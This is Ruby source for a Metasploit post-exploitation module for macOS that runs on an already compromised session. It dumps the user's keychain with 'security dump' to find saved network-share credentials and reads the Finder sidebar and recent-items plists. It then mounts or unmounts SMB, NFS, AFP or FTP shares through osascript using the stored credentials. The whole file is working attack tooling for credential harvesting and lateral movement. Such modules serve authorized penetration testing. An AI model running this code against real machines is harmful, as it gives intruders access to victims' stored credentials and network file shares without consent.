##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
  FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]

  # Used to parse a name property from a plist
  NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]

  # Used to parse a URL property from a plist
  URL_REGEX = /^URL = "(.*)";$/

  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Network Share Mounter',
        'Description' => %q{
          This module lists saved network shares and tries to connect to them using stored
          credentials. This does not require root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Peter Toth <globetother[at]gmail.com>',
          'joev'
        ],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Actions' => [
          [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
          [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
          [ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
        ],
        'DefaultAction' => 'LIST'
      )
    )

    register_options(
      [
        OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
        OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
      ]
    )

    register_advanced_options(
      [
        OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
        OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
        OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
        OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
      ]
    )
  end

  def run
    username = cmd_exec('whoami').strip
    security_path = datastore['SECURITY_PATH'].shellescape
    sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
    recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape

    if action.name == 'LIST'
      if file?(security_path)
        saved_shares = get_keyring_shares(security_path)
        if saved_shares.empty?
          print_status('No Network Share credentials were found in the keyrings')
        else
          print_status('Network shares saved in keyrings:')
          print_status("  Protocol\tShare Name")
          saved_shares.each do |line|
            print_good("  #{line}")
          end
        end
      else
        print_error('Could not check keyring contents: Security binary not found.')
      end
      if file?(sidebar_plist_path)
        favorite_shares = get_favorite_shares(sidebar_plist_path)
        if favorite_shares.empty?
          print_status('No favorite shares were found')
        else
          print_status('Favorite shares (without stored credentials):')
          print_status("  Protocol\tShare Name")
          favorite_shares.each do |line|
            print_uri(line)
          end
        end
      else
        print_error('Could not check sidebar favorites contents: Sidebar plist not found')
      end
      if file?(recent_plist_path)
        recent_shares = get_recent_shares(recent_plist_path)
        if recent_shares.empty?
          print_status('No recent shares were found')
        else
          print_status('Recent shares (without stored credentials):')
          print_status("  Protocol\tShare Name")
          recent_shares.each do |line|
            print_uri(line)
          end
        end
      else
        print_error('Could not check recent favorites contents: Recent plist not found')
      end
      mounted_shares = get_mounted_volumes
      if mounted_shares.empty?
        print_status('No volumes found in /Volumes')
      else
        print_status('Mounted Volumes:')
        mounted_shares.each do |line|
          print_good("  #{line}")
        end
      end
    elsif action.name == 'MOUNT'
      mount
    elsif action.name == 'UMOUNT'
      umount
    end
  end

  # Returns the network shares stored in the user's keychain. These shares will often have
  # creds attached, so mounting occurs without prompting the user for a password.
  # @return [Array<String>] sorted list of volumes stored in the user's keychain
  def get_keyring_shares(security_path)
    # Grep for desc srvr and ptcl
    data = cmd_exec("#{security_path} dump")
    lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)

    # Go through the list, find the saved Network Password descriptions
    # and their corresponding ptcl and srvr attributes
    list = []
    lines.each_with_index do |line, x|
      # Remove everything up to the double-quote after the equal sign,
      # and also the trailing double-quote
      next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")

      protocol = ::Regexp.last_match(1)
      if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")
        server = ::Regexp.last_match(1)
        list.push(protocol + "\t" + server)
      end
    end
    list.sort
  end

  # Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
  # an address, then click the [+] button next to the address field.
  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
  def get_favorite_shares(sidebar_plist_path)
    # Grep for URL
    data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
    list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact

    # Grep for EntryType and Name
    data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
    lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }

    # Go through the list, find the rows with EntryType 8 and their corresponding name
    lines.each_with_index do |line, x|
      if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }
        list.push(::Regexp.last_match(1))
      end
    end

    list.sort
  end

  # Returns the user's "Recent Shares" list
  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
  def get_recent_shares(recent_plist_path)
    # Grep for Name
    data = cmd_exec("defaults read #{recent_plist_path} Hosts")
    data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort
  end

  # @return [Array<String>] sorted list of mounted volume names
  def get_mounted_volumes
    cmd_exec('ls /Volumes').lines.map(&:strip).sort
  end

  def mount
    share_name = datastore['VOLUME']
    protocol = datastore['PROTOCOL']
    print_status("Connecting to #{protocol}://#{share_name}")
    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
  end

  def umount
    share_name = datastore['VOLUME']
    print_status("Disconnecting from #{share_name}")
    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
  end

  # hook cmd_exec to print a debug message when DEBUG=true
  def cmd_exec(cmd)
    vprint_status(cmd)
    super
  end

  # Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
  # @param [String] line the URL to parse and print formatted
  def print_uri(line)
    if line =~ %r{^(.*?)://(.*)$}
      print_good "  #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"
    else
      print_good "  #{line}"
    end
  end

  # path to osascript on the remote system
  def osascript_path
    datastore['OSASCRIPT_PATH'].shellescape
  end
end
